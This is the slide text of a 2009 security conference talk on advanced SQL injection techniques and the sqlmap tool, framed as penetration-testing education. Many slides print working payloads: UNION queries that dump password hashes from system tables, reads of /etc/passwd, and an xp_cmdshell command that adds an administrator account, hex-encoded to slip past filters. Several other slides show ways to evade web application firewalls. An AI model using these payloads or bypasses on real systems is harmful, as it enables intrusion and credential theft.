WordPress Websites for Engineers: Elevate Your Brandgvaughan
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsMiki Katsuragi
 
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxLoriGlavin3
 

Kürzlich hochgeladen (20)

TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
New from BookNet Canada for 2024: BNC CataList - Tech Forum 2024
 
"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan"ML in Production",Oleksandr Bagan
"ML in Production",Oleksandr Bagan
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!Anypoint Exchange: It’s Not Just a Repo!
Anypoint Exchange: It’s Not Just a Repo!
 
Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024Designing IA for AI - Information Architecture Conference 2024
Designing IA for AI - Information Architecture Conference 2024
 
DMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special EditionDMCC Future of Trade Web3 - Special Edition
DMCC Future of Trade Web3 - Special Edition
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piece
 
Dev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio WebDev Dives: Streamline document processing with UiPath Studio Web
Dev Dives: Streamline document processing with UiPath Studio Web
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and Cons
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine Tuning
 
How to write a Business Continuity Plan
How to write a Business Continuity PlanHow to write a Business Continuity Plan
How to write a Business Continuity Plan
 
Powerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time ClashPowerpoint exploring the locations used in television show Time Clash
Powerpoint exploring the locations used in television show Time Clash
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
 
Scanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL CertsScanning the Internet for External Cloud Exposures via SSL Certs
Scanning the Internet for External Cloud Exposures via SSL Certs
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brand
 
Vertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering TipsVertex AI Gemini Prompt Engineering Tips
Vertex AI Gemini Prompt Engineering Tips
 
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
 

SQL injection: Not Only AND 1=1 (updated)

  • 1. SQL injection: Not Only AND 1=1 Bernardo Damele Assumpção Guimarães
  • 2. Who I am Bernardo Damele Assumpção Guimarães Proud father Penetration tester / security researcher Portcullis Computer Security Ltd Open source projects sqlmap lead developer MySQL UDF repository developer Metasploit contributor 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 2
  • 3. SQL injection definition SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL statements It is a common threat in web applications that lack of proper sanitization on user-supplied input used in SQL queries It does not affect only web applications! A long list of resources can be found on my delicious profile, http://delicious.com/inquis/sqlinjection 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 3
  • 4. How does it work? Detection of a possible SQL injection flaw Back-end database management system fingerprint SQL injection vulnerability can lead to: DBMS data exfiltration and manipulation File system read and write access Operating system control 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 4
  • 5. sqlmap – http://sqlmap.sourceforge.net Open source command-line automatic tool Detect and exploit SQL injection flaws in web applications Developed in Python since July 2006 Released under GPLv2 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 5
  • 6. sqlmap key features Full support for MySQL, Oracle, PostgreSQL and Microsoft SQL Server Three SQL injection techniques: Boolean-based blind UNION query Batched (stacked) queries Perform an extensive back-end DBMS fingerprint Enumerate users, password hashes, privileges, databases, tables, columns and their data-type 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 6
  • 7. sqlmap key features Dump entire or user specified database table entries Run own SQL statements Read either text or binary files from the file system Execute arbitrary commands on the operating system Establish an out-of-band stateful connection between the attacker box and the database server 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 7
  • 8. Database management system fingerprint sqlmap implements up to four techniques: Inband error messages Banner (version(), @@version, …) parsing SQL dialect Specific functions static output comparison 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 8
  • 9. Database management system fingerprint Example of basic back-end DBMS fingerprint on Oracle 10g Express Edition: Two techniques: Specific variables Specific functions static output comparison The two possible queries to fingerprint it are: AND ROWNUM=ROWNUM AND LENGTH(SYSDATE)=LENGTH(SYSDATE) 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 9
  • 10. Database management system fingerprint Example of extensive back-end DBMS fingerprint on Microsoft SQL Server 2005: Three techniques: Active fingerprint: Microsoft SQL Server 2005 Banner parsing fingerprint: Microsoft SQL Server 2005 Service Pack 0 version 9.00.1399 HTML error message fingerprint: Microsoft SQL Server Active fingerprint refers to specific functions’ static output comparison in this example 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 10
  • 11. Database management system fingerprint Examples of SQL dialect fingerprint: On MySQL: /*!50067 AND 47=47 */ On PostgreSQL: AND 82::int=82 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 11
  • 12. More on fingerprint Fingerprinting is a key step in penetration testing It is not only about back-end DBMS software There are techniques and tools to fingerprint the web server, the web application technology and their underlying system What about the back-end DBMS underlying operating system? 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 12
  • 13. More on fingerprint sqlmap can fingerprint them without making extra requests: Web/application server and web application technology: by parsing the HTTP response headers Known basic technique Back-end DBMS operating system: by parsing the DBMS banner Over-looked technique 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 13
  • 14. SQL statement syntax Identify the web application query syntax is mandatory It is needed to correctly exploit the flaw Example: "SELECT id, user FROM users WHERE id LIKE ((('%" . $_GET['id'] . "%'))) LIMIT 0, 1" 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 14
  • 15. SQL statement syntax Possible exploitation vector: page.php?id=1'))) AND ((('RaNd' LIKE 'RaNd For a boolean-based blind SQL injection exploit: 1'))) AND ORD(MID((SQL query), Nth SQL query output character, 1)) > Bisection algorithm number AND ((('RaNd' LIKE 'RaNd 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 15
  • 16. SQL statement syntax For a UNION query SQL injection exploit: 1'))) UNION ALL SELECT NULL, Concatenated SQL query# AND ((('RaNd' LIKE 'RaNd For a batched query SQL injection exploit: 1'))); SQL query;# AND ((('RaNd' LIKE 'RaNd 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 16
  • 17. Bypass number of columns limitation You’ve got a SQL injection point vulnerable to UNION query technique detected by: ORDER BY clause brute-forcing NULL brute-forcing Sequential number brute-forcing The number of columns in the SELECT statement is fewer than the number of columns that you want to inject 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 17
  • 18. Bypass number of columns limitation Concatenate your SELECT statement columns with random delimiters in a single output Example: The original SELECT statement has only one column SELECT col FROM tbl WHERE id=1 Back-end DBMS is PostgreSQL 8.3 We want to retrieve users’ password hashes 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 18
  • 19. Bypass number of columns limitation SELECT usename, passwd FROM pg_shadow ↓ UNION ALL SELECT, CHR(109)||CHR(107)||CHR(100)||CHR(83)||CHR (68)||CHR(111)||COALESCE(CAST(usename AS CHARACTER(10000)), CHR(32))||CHR(80)||CHR(121)||CHR(80)||CHR( 121)||CHR(66)||CHR(109)||COALESCE(CAST(pas swd AS CHARACTER(10000)), CHR(32))||CHR(104)||CHR(108)||CHR(74)||CHR (103)||CHR(107)||CHR(90), FROM pg_shadow-- 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 19
  • 20. Single entry UNION query SQL injection You’ve got a parameter vulnerable to UNION query SQL injection The page displays only the query’s first entry output Change the parameter value to its negative value or append a false AND condition to the original parameter value Cause the original query to produce no output 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 20
  • 21. Single entry UNION query SQL injection Inspect and unpack the SQL injection statement: Calculate its output number of entries Limit it to return one entry at a time Repeat the previous action N times where N is the number of output entries 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 21
  • 22. Single entry UNION query SQL injection Example on MySQL 4.1 to enumerate the list of databases: SELECT db FROM mysql.db ↓ SELECT … WHERE id=1 AND 3=2 UNION ALL SELECT CONCAT(CHAR(100,84,71,69,87,98),IFNULL(CAST(db AS CHAR(10000)), CHAR(32)), CHAR(65,83,118,81,87,116)) FROM mysql.db LIMIT Nth, 1# AND 6972=6972 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 22
  • 23. Single entry UNION query SQL injection Another technique consists of retrieving entries as a single string Example on MySQL 5.0: SELECT user, password FROM mysql.user ↓ SELECT GROUP_CONCAT(CONCAT(user, 'RaND', password)) FROM mysql.user 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 23
  • 24. Getting a SQL shell sqlmap has options to enumerate / dump different types of data from the back-end DBMS It also allows the user to run custom SQL queries It inspects the provided statement: SELECT: it goes blind or UNION query to retrieve the output DDL, DML, etc: it goes batched query to run it 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 24
  • 25. SQL injection: Not only WHERE clause Most of the SQL injections occur within the WHERE clause, but GROUP BY, ORDER BY and LIMIT can also be affected SQL injection within these clauses can be exploited to perform a blind injection or, in some cases, a UNION query injection In all cases batched query injection is possible 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 25
  • 26. SQL injection in GROUP BY clause Example on MySQL 5.0: "SELECT id, name FROM users GROUP BY " . $_GET['id'] ↓ SELECT id, name FROM users GROUP BY 1, (SELECT (CASE WHEN (condition) THEN 1 ELSE 1*(SELECT table_name FROM information_schema.tables) END)) 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 26
  • 27. SQL injection in ORDER BY clause Example on PostgreSQL 8.2: "SELECT id, name FROM users ORDER BY " . $_GET['id'] ↓ SELECT id, name FROM users ORDER BY 1, (SELECT (CASE WHEN (condition) THEN 1 ELSE 1/0 END)) 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 27
  • 28. SQL injection in LIMIT clause Example on MySQL 6.0: "SELECT id, name FROM users LIMIT 0, " . $_GET['id'] ↓ SELECT id, name FROM users LIMIT 0, 1 UNION ALL SELECT (CASE WHEN (condition) THEN 1 ELSE 1*(SELECT table_name FROM information_schema.tables) END), NULL 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 28
  • 29. SQL injection payloads to bypass filters There are numerous techniques to bypass: Web application language security settings Web application firewalls Intrusion [Detection|Prevention] Systems Web server security settings These techniques can be combined 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 29
  • 30. PHP Magic Quotes misuse: Bypass You’ve a SQL injection point in a GET, POST parameter or Cookie value Web application language is PHP magic_quotes_gpc setting is On or addslashes() is used within the source code Back-end DBMS is either Microsoft SQL Server or Oracle Their escaping character for single quote is single quote 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 30
  • 31. PHP Magic Quotes misuse: Bypass Original statement: "SELECT name, surname FROM users WHERE name='" . $_GET['name'] . "'" Example of a successful exploit: foobar' OR 10>4-- Query passed by PHP to the back-end DBMS: SELECT name, surname FROM users WHERE name='foobar' OR 10>4--' 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 31
  • 32. PHP Magic Quotes misuse: Bypass For a UNION query SQL injection exploit: SELECT name, surname FROM users WHERE name='foobar' UNION ALL SELECT NAME, PASSWORD FROM SYS.USER$--' For a boolean-based blind SQL injection exploit: SELECT name, surname FROM users WHERE name='foobar' OR ASCII(SUBSTR((SQL query), Nth SQL query output char, 1)) > Bisection algorithm number--' 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 32
  • 33. PHP Magic Quotes bypass: Avoid single quotes Example on MySQL: LOAD_FILE('/etc/passwd') ↓ LOAD_FILE(CHAR(47,101,116,99,47,112,97, 115,115,119,100)) or LOAD_FILE(0x2f6574632f706173737764) It is not limited to bypass only PHP Magic Quotes 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 33
  • 34. Bypass with percentage char on ASP ASP ignores % if not followed by a valid pair of characters Example on ASP with back-end DBMS PostgreSQL: SELECT pg_sleep(3) ↓ S%ELEC%T %p%g_sle%ep(%3) 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 34
  • 35. Bypass by hex-encoding the SQL statement Example on Microsoft SQL Server: exec master..xp_cmdshell 'NET USER myuser mypass /ADD & NET LOCALGROUP Administrators myuser /ADD' ↓ DECLARE @rand varchar(8000) SET @rand = 0x65786563206d61737465722e2e78705f636d6473 68656c6c20274e45542055534552206d7975736572 206d7970617373202f4144442026204e4554204c4f 43414c47524f55502041646d696e6973747261746f 7273206d7975736572202f41444427; EXEC (@rand) 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 35
  • 36. Bypass by comments as separators Example on MySQL: SELECT user, password FROM mysql.user ↓ SELECT/*R_aNd*/user/*rA.Nd*/,/*Ran|D */password/*r+anD*/FROM/*rAn,D*/mysq l.user 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 36
  • 37. Bypass by random mixed case payload Example on Oracle 10g: SELECT banner FROM v$version WHERE ROWNUM=1 ↓ SeLEcT BaNneR FroM v$vERsIon WhERe ROwNUm=1 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 37
  • 38. Bypass by random URI encoded payload Example on PostgreSQL: SELECT schemaname FROM pg_tables ↓ %53E%4c%45%43T%20%73%63h%65%6d%61%6e a%6de%20%46%52O%4d%20%70g%5f%74a%62% 6ce%73 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 38
  • 39. SQL injection to operating system full control We’ve seen how to detect and exploit different SQL injection flaws, retrieve and manipulate data on the DBMS and bypass web application filters… what else? Check my recent research about compromising the underlying file system and the operating system via SQL injection on http://tinyurl.com/sqlmap1 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 39
  • 40. Credits Chip Andrews, www.sqlsecurity.com Alberto Revelli, sqlninja.sourceforge.net Sumit Siddharth, www.notsosecure.com Alessandro Tanasi, lab.lonerunners.net Ralf Braga, www.linkedin.com/in/ralfbraga 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 40
  • 41. Questions? Bernardo Damele Assumpção Guimarães bernardo.damele@gmail.com http://bernardodamele.blogspot.com http://sqlmap.sourceforge.net Thanks for your attention! 2nd Digital Security Forum, Lisbon (Portugal) June 27, 2009 41